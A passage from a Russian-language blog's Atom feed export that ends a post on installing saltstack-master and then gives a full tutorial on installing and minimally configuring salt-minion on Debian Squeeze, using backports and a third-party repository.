    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; squeeze-updates Release
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/security.debian.org&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/updates&lt;/span&gt; Release&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;gpg
    Ign http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/security.debian.org&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/updates/main&lt;/span&gt; Translation-en
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/main&lt;/span&gt; Sources
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/main&lt;/span&gt; amd64 Packages
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/backports.debian.org&lt;/span&gt; squeeze-backports Release&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;gpg
    Ign http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/backports.debian.org/debian-backports&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-backports/main&lt;/span&gt; Translation-en
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net&lt;/span&gt; squeeze-backports Release&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;gpg
    Ign http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-backports/main&lt;/span&gt; Translation-en
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-updates/main&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;Sources/DiffIndex&lt;/span&gt;
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-updates/main&lt;/span&gt; amd64 &lt;span style=&quot;color: #40015a;&quot;&gt;Packages/DiffIndex&lt;/span&gt;
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/security.debian.org&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/updates&lt;/span&gt; Release
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/mirror.yandex.ru&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-updates/main&lt;/span&gt; amd64 Packages
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/backports.debian.org&lt;/span&gt; squeeze-backports Release
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net&lt;/span&gt; squeeze-backports Release
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/security.debian.org&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/updates/main&lt;/span&gt; Sources
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/backports.debian.org&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-backports/main&lt;/span&gt; amd64 Packages
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-backports/main&lt;/span&gt; Sources
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/security.debian.org&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze/updates/main&lt;/span&gt; amd64 Packages
    Hit http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-backports/main&lt;/span&gt; amd64 Packages
    Reading package lists&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Reading package lists&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Building dependency tree&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Reading state information&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    The following packages will be upgraded&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
      sysvinit-utils
    &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; upgraded, &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt; newly installed, &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt; to remove and &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt; not upgraded&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Need to get &lt;span style=&quot;color: #c00000;&quot;&gt;99&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt; kB of archives&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    After this operation, &lt;span style=&quot;color: #c00000;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;3&lt;/span&gt; kB disk space will be freed&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Get&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;squeeze-backports/main&lt;/span&gt; sysvinit-utils amd64 &lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;88dsf-&lt;span style=&quot;color: #c00000;&quot;&gt;34&lt;/span&gt;~bpo60+&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;~madduck&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;99.2 kB&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
    Fetched &lt;span style=&quot;color: #c00000;&quot;&gt;99&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt; kB &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;in&lt;/span&gt; 0s &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;162&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;kB/s&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;Reading database &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;38635&lt;/span&gt; files and directories currently installed&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
    Preparing to replace sysvinit-utils &lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;88dsf-&lt;span style=&quot;color: #c00000;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;+squeeze1 &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;using &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/sysvinit-utils_2.88dsf-34&lt;/span&gt;~bpo60+&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;~madduck&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;1_amd64&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;deb&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Unpacking replacement sysvinit-utils &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Processing triggers &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; man-db &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
    Setting up sysvinit-utils &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;88dsf-&lt;span style=&quot;color: #c00000;&quot;&gt;34&lt;/span&gt;~bpo60+&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;~madduck&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Полный список модулей SaltStack вы найдёте&amp;nbsp;&lt;a href=&quot;http://docs.saltstack.com/ref/modules/all/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;тут&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
Как писать свои модули, вы можете прочитать&amp;nbsp;&lt;a href=&quot;http://docs.saltstack.com/ref/modules/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;тут&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; text-align: start;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; font-size: 1em; left: 99px; position: absolute; text-align: start; top: 227px; z-index: 9999;&quot;&gt;
&lt;div style=&quot;background-color: rgba(17, 17, 17, 0.901961) !important; border-bottom-left-radius: 5px !important; border-bottom-right-radius: 5px !important; border-color: rgb(17, 17, 17) !important; border-top-left-radius: 5px !important; border-top-right-radius: 5px !important; border-width: 0px !important; box-shadow: rgb(102, 102, 102) 2px 2px 2px !important; color: rgb(238, 238, 238) !important; max-width: 300px !important; overflow: visible !important; padding: 8px !important; z-index: 999999 !important;&quot;&gt;
&lt;div class=&quot;translation&quot; style=&quot;background-image: none; border: none; color: inherit;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=9a94e5fe-96ee-4889-a0ba-4901c4c814b0&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/4247120199995155679/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-master-debian.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/4247120199995155679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/4247120199995155679'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-master-debian.html' title='SaltStack - Установка saltstack-master на Debian Squeeze x86_64'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s72-c/SaltStack-Logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-2681350431848684793</id><published>2013-04-22T16:52:00.001+07:00</published><updated>2013-04-22T17:01:43.473+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="SaltStack"/><title type='text'>SaltStack - Установка saltstack-minion на Debian Squeeze x86_64</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s320/SaltStack-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Что такое SaltStack и с чем его едят я описал &lt;b&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack.html&quot;&gt;тут&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
В текущей статье я опишу как установить&amp;nbsp;SaltStack-minion на&amp;nbsp;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.debian.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Debian&quot;&gt;Debian&lt;/a&gt;.&lt;br /&gt;
&lt;h3&gt;
Устанавливаем&amp;nbsp;saltstack-minion&lt;/h3&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
В начале начал следует подключить&amp;nbsp;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Backporting&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Backporting&quot;&gt;backports&lt;/a&gt;&lt;/b&gt;&amp;nbsp;для того чтобы&amp;nbsp;удовлетворить&amp;nbsp;все возможные зависимости SaltStack&#39;a.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; deb http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/backports.debian.org/debian-backports&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 squeeze-backports main &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apt/sources.list.d/backports.list&lt;/span&gt;

&lt;a class=&quot;zem_slink&quot; href=&quot;http://wiki.debian.org/Apt&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Advanced Packaging Tool&quot;&gt;apt-get&lt;/a&gt; update
apt-get dist-upgrade -y&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
добавляем репозиторий&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;_eof &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apt/sources.list.d/local-madduck-backports.list&lt;/span&gt;
    deb http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo&lt;/span&gt; squeeze-backports main
    deb-src http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo&lt;/span&gt; squeeze-backports main
_eof&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
и настраиваем приоритеты&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;in&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Salt&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Salt&quot;&gt;salt&lt;/a&gt;-&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;common,master,minion,syndic,doc&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Init&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Init&quot;&gt;sysvinit&lt;/a&gt;-utils&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;do&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;Package: &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;Pin: release &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;squeeze-backports&quot;&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;Pin-Priority: 600&quot;&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;done&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apt/preferences.d/local-salt-backport.pref&lt;/span&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
осталось импортировать ключ&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;wget -q -O- &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;http:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.madduck.net/repo/gpg/archive.key&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; apt-key add -
apt-get update&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
и приступить к установке&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;apt-get install salt-minion&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Минимальная настройка saltstack-minion&lt;/h3&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
По умолчанию saltstack-minion пытается подключиться к серверу с хостнеймом salt но если у вашего&amp;nbsp;saltstack-master&#39;a другое имя, или он не имеет имени, то поправить это можно в файле&amp;nbsp;/etc/salt/minion&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;b&gt;Пример:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;- &lt;span style=&quot;color: #c34e00;&quot;&gt;#master: salt&lt;/span&gt;
+ master&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;b&gt;Осталось перезапустить миньёна:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/salt-minion&lt;/span&gt; restart&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;

&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=9a94e5fe-96ee-4889-a0ba-4901c4c814b0&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
